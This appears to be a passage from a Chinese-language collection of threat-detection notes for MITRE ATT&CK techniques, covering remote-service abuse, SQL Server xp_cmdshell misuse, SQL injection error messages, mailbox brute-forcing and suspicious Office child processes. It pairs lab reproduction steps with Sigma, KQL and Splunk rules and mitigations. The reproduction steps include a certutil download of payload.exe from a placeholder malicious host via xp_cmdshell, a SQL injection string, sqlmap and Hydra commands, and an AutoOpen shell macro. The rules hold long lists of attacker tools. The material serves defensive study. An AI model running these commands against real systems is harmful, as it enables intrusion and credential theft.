检查登录尝试的源IP是否与已知恶意IP相关,结合威胁情报平台(如VirusTotal、ThreatConnect)。 - 分析登录时间和地理位置,识别与用户正常行为不符的模式。 ## 建议 ### 缓解措施 由于外部远程服务的滥用通常涉及有效凭据,防御需从访问控制和凭据保护入手: 1. **访问控制** - 限制远程服务(如RDP、VPN、SSH)的访问,仅允许白名单IP或地理位置。 - 启用多因素认证(MFA),降低凭据被盗后的风险。 - 示例:为RDP启用网络级身份验证(NLA),为SSH配置密钥认证。 2. **防火墙配置** - 配置防火墙规则,限制远程服务端口(如RDP的3389、SSH的22)的公网访问。 - 使用入侵防御系统(IPS)检测暴力破解或异常登录尝试。 3. **凭据保护** - 实施强密码策略,强制复杂密码并定期更换。 - 监控账户锁定事件(事件ID 4740),防止暴力破解。 4. **用户教育** - 培训用户识别鱼叉式网络钓鱼或社会工程学攻击,避免泄露凭据。 - 教授用户定期检查账户活动,报告异常登录。 5. **服务加固** - 禁用不必要的远程服务,减少攻击面。 - 配置VPN和SSH使用高强度加密算法,防止中间人攻击。 ### 检测 检测工作应集中在异常的远程服务访问模式上,包括但不限于: - **登录模式分析**:监控VPN、RDP和SSH的身份验证日志,检测非工作时间或异常地理位置的登录。 - **高频失败检测**:识别单一源IP的高频登录失败,可能是暴力破解或凭据填充的迹象。 - **行为分析**:通过EDR或SIEM工具,检测与远程服务登录相关的后续行为,如异常进程启动或凭据导出。 - **威胁情报整合**:利用威胁情报平台,关联登录尝试的源IP、用户名或行为是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1133 ================================================ FILE: Windows/03初始访问/T1190-SQL server滥用.md ================================================ # T1190-检测SQL Server滥用 ## 描述 攻击者可能利用面向Internet的应用程序(如SQL Server数据库)的漏洞,通过软件、数据或命令引发意外或非预期行为,从而实现初始访问、权限提升或防御逃逸(T1190)。SQL Server作为常见的企业数据库服务,可能因配置错误、弱密码、未修补的漏洞或不安全的权限管理而成为攻击目标。攻击者可能通过SQL注入、凭据暴力破解或滥用SQL Server的合法功能(如执行系统命令)来实现恶意目的。 SQL Server提供了多种工具(如`xp_cmdshell`、`sqlcmd`)和功能,用于自动化任务、导出数据或运行脚本。攻击者可能重新利用这些合法工具执行恶意命令,如下载恶意软件、创建后门或进行网络侦察。在云化基础架构中,SQL Server的漏洞利用可能导致底层实例受损,允许攻击者访问云API或利用弱身份和访问管理策略。OWASP Top 10和CWE Top 25提供了常见的数据库和Web漏洞参考。 ## 测试案例 1. **通过xp_cmdshell执行系统命令** 攻击者利用SQL Server的`xp_cmdshell`功能执行系统命令(如`whoami`或`netstat`),获取主机信息或建立持久化。 2. **凭据窃取** 攻击者通过SQL注入或弱凭据访问SQL Server,运行脚本导出用户凭据或数据库内容。 3. **异常工具调用** 攻击者利用SQL Server进程(如`sqlservr.exe`)启动可疑命令(如`certutil`下载恶意文件),进行恶意操作。 ## 检测日志 **Windows安全日志和Sysmon日志** 检测SQL Server滥用依赖以下日志来源: - **Windows安全日志**: - 事件ID 4688:记录进程创建,包含命令行参数。 - 事件ID 4624/4625:记录登录成功或失败,可能涉及SQL Server服务账户。 - **Sysmon日志**: - 事件ID 1:记录进程创建和命令行参数,适合检测SQL Server进程启动的可疑命令。 - 事件ID 11:记录文件创建,可能涉及恶意文件下载。 - **SQL Server日志**:记录异常查询、错误消息或高危命令(如`xp_cmdshell`调用)。 - **网络日志**:记录SQL Server端口(默认1433)的异常流量。 ## 测试复现 1. **环境准备**: - 部署SQL Server实例,启用`xp_cmdshell`(默认禁用)。 - 配置Sysmon和Windows安全日志,记录进程创建(事件ID 4688、Sysmon ID 1)。 - 示例SQL命令启用`xp_cmdshell`: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 2. **模拟攻击**: - 使用SQL Server账户执行系统命令。 - 示例SQL命令(通过`xp_cmdshell`运行`whoami`): ```sql EXEC xp_cmdshell 'whoami'; ``` - 模拟攻击者调用可疑工具: ```sql EXEC xp_cmdshell 'certutil -urlfetch -f http://malicious.com/payload.exe'; ``` 3. **验证日志**: - 检查Sysmon日志(事件ID 1)或Windows安全日志(事件ID 4688),确认`sqlservr.exe`等进程是否启动了可疑命令。 - 检查SQL Server日志,验证是否记录`xp_cmdshell`调用。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。参考: ## 测试留痕 SQL Server滥用可能在以下日志中留下痕迹: - **Sysmon日志**: - 事件ID 1:记录`sqlservr.exe`、`sqlagent.exe`等进程启动可疑命令(如`certutil`、`whoami`)。 - 示例日志: ```plaintext Process Create: Image: C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe CommandLine: certutil -urlfetch -f http://malicious.com/payload.exe ``` - **Windows安全日志**: - 事件ID 4688:记录进程创建和命令行参数。 - **SQL Server日志**:记录`xp_cmdshell`或其他高危命令的执行。 - **网络日志**:记录异常的SQL Server端口(1433)流量或文件下载请求。 ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测SQL Server进程启动可疑命令的行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取SQL Server相关进程(`sqlservr.exe`、`sqlagent.exe`、`sqlps.exe`、`launchpad.exe`)的命令行参数。 - 检测可疑命令(如`certutil`、`whoami`)或高危工具调用。 2. **KQL规则(适用于Microsoft Defender或Azure Sentinel)**: ```kql DeviceProcessEvents | where Timestamp >= ago(10d) | where InitiatingProcessFileName in~ ("sqlservr.exe", "sqlagent.exe", "sqlps.exe", "launchpad.exe") | summarize tostring(makeset(ProcessCommandLine)) by DeviceId, bin(Timestamp, 2m) | where set_ProcessCommandLine has_any ( "certutil", "netstat", "ping", "sysinfo", "systeminfo", "taskkill", "wget", "whoami", "Invoke-WebRequest", "Copy-Item", "WebClient", "advpack.dll", "appvlp.exe", "atbroker.exe", "bash.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", "certutil.exe", "cl_invocation.ps1", "cl_mutexverifiers.ps1", "cmstp.exe", "csi.exe", "diskshadow.exe", "dnscmd.exe", "dnx.exe", "dxcap.exe", "esentutl.exe", "expand.exe", "extexport.exe", "extrac32.exe", "findstr.exe", "forfiles.exe", "ftp.exe", "gpscript.exe", "hh.exe", "ie4uinit.exe", "ieadvpack.dll", "ieaframe.dll", "ieexec.exe", "infdefaultinstall.exe", "installutil.exe", "makecab.exe", "manage-bde.wsf", "mavinject.exe", "mftrace.exe", "microsoft.workflow.compiler.exe", "mmc.exe", "msbuild.exe", "msconfig.exe", "msdeploy.exe", "msdt.exe", "mshta.exe", "mshtml.dll", "msiexec.exe", "msxsl.exe", "odbcconf.exe", "pcalua.exe", "pcwrun.exe", "pcwutl.dll", "pester.bat", "presentationhost.exe", "pubprn.vbs", "rcsi.exe", "regasm.exe", "register-cimprovider.exe", "regsvcs.exe", "regsvr32.exe", "replace.exe", "rundll32.exe", "runonce.exe", "runscripthelper.exe", "schtasks.exe", "scriptrunner.exe", "setupapi.dll", "shdocvw.dll", "shell32.dll", "slmgr.vbs", "sqltoolsps.exe", "syncappvpublishingserver.exe", "syncappvpublishingserver.vbs", "syssetup.dll", "te.exe", "tracker.exe", "url.dll", "verclsid.exe", "vsjitdebugger.exe", "wab.exe", "winrm.vbs", "wmic.exe", "xwizard.exe", "zipfldr.dll" ) | sort by DeviceId, Timestamp asc ``` 3. **Sigma规则**: ```yaml title: 检测SQL Server滥用可疑命令 id: 7b8c9d0e-4f2a-4b1c-a9d3-2e1f3c4d5e6f status: experimental description: 检测SQL Server进程启动可疑命令,可能表明攻击者滥用合法工具 date: 2025/06/06 logsource: category: process_creation product: windows detection: selection: Image|endswith: - '\sqlservr.exe' - '\sqlagent.exe' - '\sqlps.exe' - '\launchpad.exe' CommandLine: - '*certutil*' - '*netstat*' - '*ping*' - '*sysinfo*' - '*systeminfo*' - '*taskkill*' - '*wget*' - '*whoami*' - '*Invoke-WebRequest*' - '*Copy-Item*' - '*WebClient*' - '*advpack.dll*' - '*appvlp.exe*' - '*atbroker.exe*' - '*bash.exe*' - '*bginfo.exe*' - '*bitsadmin.exe*' - '*cdb.exe*' - '*certutil.exe*' - '*cl_invocation.ps1*' - '*cl_mutexverifiers.ps1*' - '*cmstp.exe*' - '*csi.exe*' - '*diskshadow.exe*' - '*dnscmd.exe*' - '*dnx.exe*' - '*dxcap.exe*' - '*esentutl.exe*' - '*expand.exe*' - '*extexport.exe*' - '*extrac32.exe*' - '*findstr.exe*' - '*forfiles.exe*' - '*ftp.exe*' - '*gpscript.exe*' - '*hh.exe*' - '*ie4uinit.exe*' - '*ieadvpack.dll*' - '*ieaframe.dll*' - '*ieexec.exe*' - '*infdefaultinstall.exe*' - '*installutil.exe*' - '*makecab.exe*' - '*manage-bde.wsf*' - '*mavinject.exe*' - '*mftrace.exe*' - '*microsoft.workflow.compiler.exe*' - '*mmc.exe*' - '*msbuild.exe*' - '*msconfig.exe*' - '*msdeploy.exe*' - '*msdt.exe*' - '*mshta.exe*' - '*mshtml.dll*' - '*msiexec.exe*' - '*msxsl.exe*' - '*odbcconf.exe*' - '*pcalua.exe*' - '*pcwrun.exe*' - '*pcwutl.dll*' - '*pester.bat*' - '*presentationhost.exe*' - '*pubprn.vbs*' - '*rcsi.exe*' - '*regasm.exe*' - '*register-cimprovider.exe*' - '*regsvcs.exe*' - '*regsvr32.exe*' - '*replace.exe*' - '*rundll32.exe*' - '*runonce.exe*' - '*runscripthelper.exe*' - '*schtasks.exe*' - '*scriptrunner.exe*' - '*setupapi.dll*' - '*shdocvw.dll*' - '*shell32.dll*' - '*slmgr.vbs*' - '*sqltoolsps.exe*' - '*syncappvpublishingserver.exe*' - '*syncappvpublishingserver.vbs*' - '*syssetup.dll*' - '*te.exe*' - '*tracker.exe*' - '*url.dll*' - '*verclsid.exe*' - '*vsjitdebugger.exe*' - '*wab.exe*' - '*winrm.vbs*' - '*wmic.exe*' - '*xwizard.exe*' - '*zipfldr.dll*' condition: selection falsepositives: - 合法的SQL Server管理脚本或自动化任务 - 开发或测试环境中的正常行为 level: high ``` 4. **SIEM规则**: - 检测SQL Server进程启动可疑命令。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image IN ("*\\sqlservr.exe", "*\\sqlagent.exe", "*\\sqlps.exe", "*\\launchpad.exe") (CommandLine="*certutil*" OR CommandLine="*netstat*" OR CommandLine="*whoami*" OR CommandLine="*wget*") | stats count by Image, CommandLine, ComputerName ``` 5. **威胁情报整合**: - 检查可疑命令的网络目标(如`certutil`下载的URL)是否与已知恶意IP或域名相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御SQL Server滥用需从配置加固、权限控制和监控入手: 1. **禁用高危功能** - 禁用`xp_cmdshell`和`OLE Automation`等高危功能,除非必要。 - 示例SQL命令: ```sql EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; ``` 2. **最小权限原则** - 配置SQL Server账户使用最低权限,限制对系统命令或敏感数据的访问。 - 确保服务账户无管理员权限。 3. **网络访问控制** - 限制SQL Server端口(默认1433)的公网访问,仅允许白名单IP。 - 配置防火墙或WAF阻止异常SQL流量。 4. **定期漏洞扫描** - 使用工具(如Nessus、SQLMap)定期扫描SQL Server漏洞。 - 及时更新SQL Server补丁,修复已知漏洞。 5. **日志和监控** - 启用详细的SQL Server日志,记录高危命令(如`xp_cmdshell`)的执行。 - 配置Sysmon监控SQL Server进程行为。 ### 检测 检测工作应集中在SQL Server进程的异常行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测SQL Server进程启动可疑命令(如`certutil`、`whoami`)。 - **SQL查询监控**:检查SQL Server日志,识别高危命令或异常查询模式。 - **网络流量分析**:监控SQL Server端口(1433)的异常流量或可疑文件下载。 - **威胁情报整合**:结合威胁情报,检查可疑命令的目标URL或IP是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1190 - 如何通过SQL Server执行系统命令 ================================================ FILE: Windows/03初始访问/T1190-可疑的SQL错误消息.md ================================================ # T1190-可疑的SQL错误消息 ## 描述 攻击者可能利用面向公众的应用程序(如Web应用程序或数据库)的漏洞,通过软件、数据或命令引发意外或非预期行为,从而实现初始访问、权限提升或防御逃逸。面向公众的应用程序包括网站、数据库(如SQL)、标准服务(如SMB、SSH)以及任何通过Internet开放端口的服务(如Web服务器)。常见的漏洞包括SQL注入、跨站脚本(XSS)、文件包含或配置错误,这些漏洞可能源于代码缺陷、设计漏洞或弱身份和访问管理策略。 在云化基础架构上,成功利用托管应用程序可能破坏底层实例,允许攻击者通过调用云API或利用弱访问控制进一步攻击。SQL注入是常见的攻击方式,攻击者通过提交恶意输入(如单引号或SQL关键字)触发数据库错误消息,暴露系统信息或确认漏洞存在。OWASP Top 10和CWE Top 25列出了Web和数据库中最常见的漏洞,为检测和防御提供参考。 可疑的SQL错误消息可能表明攻击者正在探测SQL注入漏洞,这是一种常见的初始访问技术(T1190)。 ## 测试案例 1. **SQL注入探测** 攻击者向Web应用程序的输入字段(如登录表单或搜索框)提交恶意SQL语句(如`1' OR '1'='1`),触发数据库错误消息,暴露数据库类型或结构。 2. **自动化扫描** 攻击者使用工具(如SQLMap)扫描Web应用程序,尝试多种SQL注入模式,导致数据库返回特定错误消息(如“unclosed quotation mark”)。 ## 检测日志 **数据库错误日志** 检测SQL注入相关错误依赖以下日志来源: - **Web服务器日志**:记录用户提交的HTTP请求,可能包含恶意SQL输入。 - **数据库日志**: - Oracle:记录SQL语法错误或异常查询。 - MySQL:记录语法错误或无效查询。 - SQL Server:记录未闭合引号或语法错误。 - SQLite:记录语法错误或UNION查询列数不匹配。 - **应用程序日志**:Web应用程序可能记录异常输入或数据库错误。 ## 测试复现 1. **环境准备**: - 部署一个运行Web应用程序的测试环境,连接到数据库(如MySQL、SQL Server)。 - 启用数据库错误日志和Web服务器日志(如Apache、Nginx)。 2. **模拟SQL注入**: - 向Web应用程序的输入字段提交恶意SQL语句,触发数据库错误。 - 示例HTTP请求(模拟SQL注入): ```http GET /search?query=1'%20OR%20'1'='1 HTTP/1.1 Host: example.com ``` - 使用工具(如SQLMap)扫描测试应用程序: ```bash sqlmap -u "http://example.com/search?query=1" --batch ``` 3. **验证日志**: - 检查数据库日志,确认是否记录SQL错误消息(如“You have an error in your SQL syntax”)。 - 检查Web服务器日志,验证是否记录异常请求。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 可疑的SQL错误消息可能在以下日志中留下痕迹: - **Oracle**: ```plaintext quoted string not properly terminated ORA-01756: quoted string not properly terminated ``` - **MySQL**: ```plaintext You have an error in your SQL syntax ``` - **SQL Server**: ```plaintext Unclosed quotation mark after the character string ``` - **SQLite**: ```plaintext near "*": syntax error SELECTs to the left and right of UNION do not have the same number of result columns ``` - **Web服务器日志**:记录包含恶意SQL输入的HTTP请求,如`query=1' OR '1'='1`。 ## 检测规则/思路 **检测规则** 通过分析数据库和应用程序日志,检测指示SQL注入探测的错误消息。以下是具体思路: 1. **日志分析**: - 收集数据库错误日志和Web服务器日志,提取SQL相关错误消息。 - 检测常见SQL注入模式(如单引号、UNION、OR关键字)或异常HTTP请求。 2. **Sigma规则**: ```yaml title: 可疑的SQL错误消息 id: 3d4e8a9f-7c2b-4a8d-b9e6-1f2a3c4d5e6f status: experimental description: 检测指示SQL注入探测的数据库错误消息 author: Bjoern Kimminich date: 2020/08/06 references: - http://www.sqlinjection.net/errors logsource: category: application product: sql detection: keywords: # Oracle - quoted string not properly terminated - ORA-01756 # MySQL - You have an error in your SQL syntax # SQL Server - Unclosed quotation mark # SQLite - 'near "*": syntax error' - SELECTs to the left and right of UNION do not have the same number of result columns condition: keywords falsepositives: - 应用程序代码错误导致的合法SQL错误 - 用户输入格式错误 level: high ``` 3. **SIEM规则**: - 在SIEM系统中设置告警,检测数据库日志中的SQL错误消息。 - 示例Splunk查询: ```spl source="database:log" ("quoted string not properly terminated" OR "error in your SQL syntax" OR "Unclosed quotation mark" OR "near \"*\": syntax error" OR "SELECTs to the left and right of UNION") | stats count by host, sourcetype ``` 4. **Web请求分析**: - 检测HTTP请求中的SQL注入模式(如单引号、UNION、OR)。 - 示例WAF规则(伪代码): ```plaintext if (request.uri contains "'" or "UNION" or "OR 1=1") then log "Potential SQL Injection" block ``` 5. **威胁情报整合**: - 检查触发错误消息的源放下标头源IP是否与已知恶意IP相关,结合威胁情报平台(如VirusTotal)。 ## 建议 ### 缓解措施 由于SQL注入探测发生在目标组织的外部基础设施上,难以直接预防。以下是一些建议: 1. **输入验证和参数化查询** - 对用户输入进行严格验证和过滤,防止恶意SQL语句注入。 - 使用参数化查询或预编译语句,避免直接拼接用户输入到SQL查询中。 2. **Web应用程序防火墙(WAF)** - 部署WAF,检测并阻止常见的SQL注入模式。 - 示例工具:ModSecurity、Cloudflare WAF。 3. **最小权限原则** - 配置数据库账户使用最低权限,限制对敏感数据的访问。 - 确保Web应用程序的数据库用户无法执行高危操作(如DROP TABLE)。 4. **错误消息隐藏** - 配置应用程序避免向用户返回详细的SQL错误消息,防止攻击者获取数据库信息。 - 示例:将数据库错误重定向到通用错误页面。 5. **定期漏洞扫描** - 使用漏洞扫描工具(如Burp Suite、Nessus)定期检查Web应用程序是否存在SQL注入漏洞。 ### 检测 检测工作应集中在SQL错误消息和相关行为上,包括但不限于: - **SQL错误消息监控**:分析数据库日志,检测常见的SQL注入错误消息。 - **异常请求检测**:监控Web服务器日志,识别包含SQL注入特征的HTTP请求(如单引号、UNION)。 - **行为分析**:通过EDR或WAF,检测异常数据库查询或高频错误消息。 - **威胁情报整合**:结合威胁情报,检查触发错误消息的源IP是否与已知攻击者相关。 ## 参考推荐 - MITRE ATT&CK: T1190 - Oracle错误信息 - MySQL错误信息 - SQL Server错误信息 - SQLite错误信息 ================================================ FILE: Windows/03初始访问/T1190-邮箱暴力破解攻击流量分析.md ================================================ # T1190-邮箱暴力破解攻击流量分析 ## 描述 攻击者可能利用面向公众的应用程序(如Web邮件服务、数据库或标准服务)的漏洞,通过软件、数据或命令引发意外或非预期行为,从而实现初始访问(T1190)。邮箱服务(如基于POP3、SMTP、IMAP或HTTP/HTTPS的Web邮件)是常见的攻击目标,攻击者可能通过暴力破解或凭据填充尝试获取有效账户。系统的弱点可能包括弱密码、配置错误或未修补的漏洞。成功利用可能导致账户泄露、数据窃取或进一步的网络访问。 在云化基础架构中,邮箱服务的利用可能破坏底层实例,允许攻击者通过云API或弱身份和访问管理策略进一步攻击。暴力破解邮箱账户通常表现为短时间内高频的认证失败流量,可能触发协议特定的错误消息或异常网络行为。OWASP Top 10和CWE Top 25提供了常见的Web和邮箱服务漏洞参考。 ## 测试案例 1. **POP3暴力破解** 攻击者对POP3邮箱服务发起多次登录尝试,使用不同密码组合,导致服务器返回大量“-ERR Logon failure”错误。 2. **SMTP凭据填充** 攻击者使用泄露的凭据列表尝试登录SMTP服务,触发“535 5.7.3 Authentication unsuccessful”错误。 3. **IMAP高频登录失败** 攻击者针对IMAP服务尝试多个用户名和密码组合,生成“NO Logon failure”错误日志。 4. **Web邮件暴力破解** 攻击者通过HTTP/HTTPS登录页面(如Outlook Web Access)提交大量登录请求,短时间内无302跳转或后续操作流量。 ## 检测日志 **全流量捕获** 检测邮箱暴力破解依赖以下日志来源: - **网络流量日志**:捕获POP3(端口110)、SMTP(端口25/587)、IMAP(端口143)或HTTP/HTTPS(端口80/443)的流量。 - **服务器日志**: - POP3/IMAP:记录认证失败(如`/var/log/mail.log`或Windows事件日志)。 - SMTP:记录认证错误(如Exchange服务器日志)。 - Web邮件:Web服务器日志(如Apache/Nginx)记录登录请求。 - **应用程序日志**:邮箱服务日志记录异常认证尝试。 ## 测试复现 1. **环境准备**: - 部署测试邮箱服务器(如Postfix、Microsoft Exchange)或Web邮件服务(如OWA)。 - 启用流量捕获工具(如Wireshark、tcpdump)和服务器日志记录。 2. **模拟暴力破解**: - 使用工具(如Hydra、Burp Suite)对POP3、SMTP、IMAP或Web邮件服务发起高频登录尝试。 - 示例Hydra命令(针对POP3): ```bash hydra -l user1 -P passwords.txt pop3:// -t 4 ``` - 示例HTTP登录请求(模拟Web邮件暴力破解): ```http POST /login.html HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded uname=admin&upass=wrongpass ``` 3. **验证日志**: - 检查网络流量,确认高频认证请求和错误响应(如“-ERR Logon failure”)。 - 检查服务器日志,验证是否记录认证失败和源IP。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 邮箱暴力破解可能在以下日志中留下痕迹: - **POP3**: ```plaintext -ERR Logon failure: unknown user name or bad password ``` - **SMTP**: ```plaintext 535 5.7.3 Authentication unsuccessful ``` - **IMAP**: ```plaintext NO Logon failure: unknown user name or bad password ``` - **HTTP/HTTPS**: - Web服务器日志记录高频登录请求,无302跳转或后续操作流量。 - 示例Nginx日志: ```plaintext 192.168.1.100 - - [06/Jun/2025:20:34:00 +0000] "POST /login.html HTTP/1.1" 200 1234 ``` - **HTTPS**:频繁的TLS握手(“Client Hello”、“Server Hello”),无后续数据交互。 ## 检测规则/思路 **检测规则** 通过分析网络流量和服务器日志,检测高频认证失败或异常登录模式。以下是具体思路: 1. **网络流量分析**: - 监控POP3、SMTP、IMAP或HTTP/HTTPS流量的认证请求频率。 - 检测单一源IP在短时间内(如1分钟)发起多次登录失败。 2. **Sigma规则**: ```yaml title: 邮箱暴力破解攻击流量 id: 9c3d7e4f-2b1a-4f9e-a8d6-3e7b2c1d4f5e status: experimental description: 检测邮箱服务(POP3、SMTP、IMAP、HTTP/HTTPS)的高频认证失败流量 date: 2025/06/06 references: - https://my.oschina.net/u/4395026/blog/3783867 - https://attack.mitre.org/techniques/T1190/ logsource: category: network product: any detection: selection_pop3: dst_port: 110 response|contains: "-ERR Logon failure" selection_smtp: dst_port: [25, 587] response|contains: "535 5.7.3 Authentication unsuccessful" selection_imap: dst_port: 143 response|contains: "NO Logon failure" selection_http: dst_port: [80, 443] http_method: POST http_uri|contains: ["/login", "/owa", "/auth"] http_status: 200 timeframe: 1m condition: - selection_pop3 | count by src_ip > 10 - selection_smtp | count by src_ip > 10 - selection_imap | count by src_ip > 10 - selection_http | count by src_ip > 10 falsepositives: - 用户输入错误密码的合法尝试 - 应用程序配置错误 level: high ``` 3. **SIEM规则**: - 检测单一源IP在短时间内的高频认证失败。 - 示例Splunk查询: ```spl source="network:traffic" (dst_port=110 "-ERR Logon failure" OR dst_port IN (25, 587) "535 5.7.3 Authentication unsuccessful" OR dst_port=143 "NO Logon failure" OR dst_port IN (80, 443) "POST /login") | bucket _time span=1m | stats count by src_ip, dst_port | where count > 10 ``` 4. **WAF规则**: - 配置Web应用程序防火墙,检测HTTP/HTTPS登录请求中的异常模式。 - 示例伪代码: ```plaintext if (request.uri contains "/login" and request.count > 10 in 60s) then log "Potential Brute Force" block ``` 5. **威胁情报整合**: - 检查触发高频认证失败的源IP是否与已知恶意IP相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御邮箱暴力破解需从访问控制、凭据保护和网络配置入手: 1. **账户锁定策略** - 配置邮箱服务限制登录失败次数(如5次失败后锁定账户30分钟)。 - 示例Exchange设置: - 路径:`Exchange管理中心->安全->账户锁定策略` 2. **多因素认证(MFA)** - 为邮箱服务启用MFA,降低凭据被盗后的风险。 - 示例:为Microsoft 365启用Azure MFA。 3. **网络访问控制** - 限制邮箱服务端口(如POP3:110、SMTP:25/587、IMAP:143)的公网访问,仅允许白名单IP。 - 配置防火墙或WAF阻止高频登录尝试。 4. **强密码策略** - 强制用户使用复杂密码并定期更换,避免弱密码或密码重用。 - 示例Windows组策略设置: - 路径:`计算机配置->Windows设置->安全设置->账户策略->密码策略` 5. **用户教育** - 培训用户识别鱼叉式网络钓鱼,避免泄露凭据。 - 教授用户定期检查账户活动,报告异常登录。 ### 检测 检测工作应集中在高频认证失败和异常流量模式上,包括但不限于: - **协议特定错误**:监控POP3、SMTP、IMAP日志中的认证失败消息(如“-ERR Logon failure”)。 - **HTTP/HTTPS流量**:检测登录页面高频请求,缺乏302跳转或后续操作流量。 - **行为分析**:通过SIEM或EDR,检测单一源IP的高频认证尝试或异常登录模式。 - **威胁情报整合**:结合威胁情报,检查触发认证失败的源IP是否与已知攻击者相关。 ## 参考推荐 - MITRE ATT&CK: T1190 - 现场取证之流量分析总结 ================================================ FILE: Windows/03初始访问/T1566.001-Win-可疑的MS Office子进程.md ================================================ # T1566.001-Win-可疑的MS Office子进程 # 描述 攻击者可能通过发送带有恶意附件的鱼叉式电子邮件(Spearphishing Attachment)实现对受害者系统的初始访问(T1566.001)。这些附件通常包含恶意软件,利用社会工程学诱导用户打开附件并触发执行。恶意附件可能伪装为Microsoft Office文档(如Word、Excel、PowerPoint)、PDF、可执行文件或压缩文件。打开附件后,恶意代码可能利用漏洞或直接在用户系统上执行,绕过安全防护措施。 攻击者通常通过精心设计的电子邮件内容,提供看似合理的理由诱导用户打开附件,并可能包含绕过系统保护的说明(如启用宏、解密zip文件密码)。文件扩展名和图标可能被操纵,使恶意文件伪装成合法文档。MS Office应用程序(如`winword.exe`、`excel.exe`)启动异常子进程(如`cmd.exe`、`powershell.exe`)是鱼叉式网络钓鱼攻击的常见迹象,可能表明宏或脚本执行了恶意操作。 ## 测试案例 1. **恶意Word文档执行宏** 攻击者发送带有恶意宏的Word文档,用户启用宏后,`winword.exe`启动`powershell.exe`执行恶意脚本。 2. **Excel文档触发命令行** 攻击者通过Excel文档中的VBA宏启动`cmd.exe`,下载并运行恶意可执行文件。 ## 检测日志 **Windows安全日志和Sysmon日志** 检测MS Office启动的可疑子进程依赖以下日志来源: - **Windows安全日志**: - 事件ID 4688:记录进程创建,包含父进程和子进程信息。 - **Sysmon日志**: - 事件ID 1:记录进程创建,包含详细的命令行参数和父进程信息。 - **应用程序日志**:Office应用程序可能记录宏执行或异常行为。 ## 测试复现 1. **环境准备**: - 部署Windows测试主机,安装Microsoft Office(如Word、Excel)。 - 配置Sysmon和Windows安全日志,记录进程创建(事件ID 4688、Sysmon ID 1)。 - 示例Sysmon配置: ```xml winword.exe excel.exe ``` 2. **模拟攻击**: - 创建包含恶意宏的Word文档,启动`cmd.exe`或`powershell.exe`。 - 示例VBA宏: ```vba Sub AutoOpen() Shell "cmd.exe /c whoami", vbHide End Sub ``` - 发送测试邮件,附件为恶意文档,模拟用户打开并启用宏。 3. **验证日志**: - 检查Sysmon日志(事件ID 1)或Windows安全日志(事件ID 4688),确认`winword.exe`是否启动了可疑子进程(如`cmd.exe`)。 - 示例日志: ```plaintext Process Create: Image: C:\Windows\System32\cmd.exe ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE CommandLine: cmd.exe /c whoami ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 可疑的MS Office子进程可能在以下日志中留下痕迹: - **Windows安全日志(事件ID 4688)**: ```plaintext A new process has been created. Subject: Security ID: WIN-R9H529RIO4Y\Administrator Account Name: Administrator Account Domain: WIN-R9H529RIO4Y Logon ID: 0x1fd23 Process Information: New Process ID: 0xed0 New Process Name: C:\Windows\System32\cmd.exe Creator Process ID: 0x8c0 Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE Process Command Line: cmd.exe /c whoami ``` - **Sysmon日志(事件ID 1)**: - 记录父进程(如`winword.exe`)启动可疑子进程(如`powershell.exe`、`certutil.exe`)。 - **网络日志**:记录子进程引发的网络活动(如下载恶意文件)。 ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测MS Office应用程序启动的可疑子进程。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取父进程为MS Office应用程序(如`winword.exe`、`excel.exe`)的记录。 - 检测子进程是否为异常工具(如`cmd.exe`、`powershell.exe`、`certutil.exe`)。 2. **Elastic规则**: ```plaintext event.action:"Process Create (rule: ProcessCreate)" and process.parent.name:(eqnedt32.exe or excel.exe or fltldr.exe or msaccess.exe or mspub.exe or powerpnt.exe or winword.exe) and process.name:(Microsoft.Workflow.Compiler.exe or arp.exe or atbroker.exe or bginfo.exe or bitsadmin.exe or cdb.exe or certutil.exe or cmd.exe or cmstp.exe or cscript.exe or csi.exe or dnx.exe or dsget.exe or dsquery.exe or forfiles.exe or fsi.exe or ftp.exe or gpresult.exe or hostname.exe or ieexec.exe or iexpress.exe or installutil.exe or ipconfig.exe or mshta.exe or msxsl.exe or nbtstat.exe or net.exe or net1.exe or netsh.exe or netstat.exe or nltest.exe or odbcconf.exe or ping.exe or powershell.exe or pwsh.exe or qprocess.exe or quser.exe or qwinsta.exe or rcsi.exe or reg.exe or regasm.exe or regsvcs.exe or regsvr32.exe or sc.exe or schtasks.exe or systeminfo.exe or tasklist.exe or tracert.exe or whoami.exe or wmic.exe or wscript.exe or xwizard.exe) ``` 3. **Sigma规则**: ```yaml title: 可疑的MS Office子进程 id: 5c7d8e9f-3a2b-4c1d-a8e4-1f2e3c4d5e6f status: stable description: 检测MS Office应用程序启动可疑子进程,可能表明鱼叉式网络钓鱼攻击 date: 2025/06/06 references: - https://attack.mitre.org/techniques/T1566/001/ - https://www.elastic.co/guide/en/siem/guide/current/suspicious-ms-office-child-process.html logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: - '\eqnedt32.exe' - '\excel.exe' - '\fltldr.exe' - '\msaccess.exe' - '\mspub.exe' - '\powerpnt.exe' - '\winword.exe' Image|endswith: - 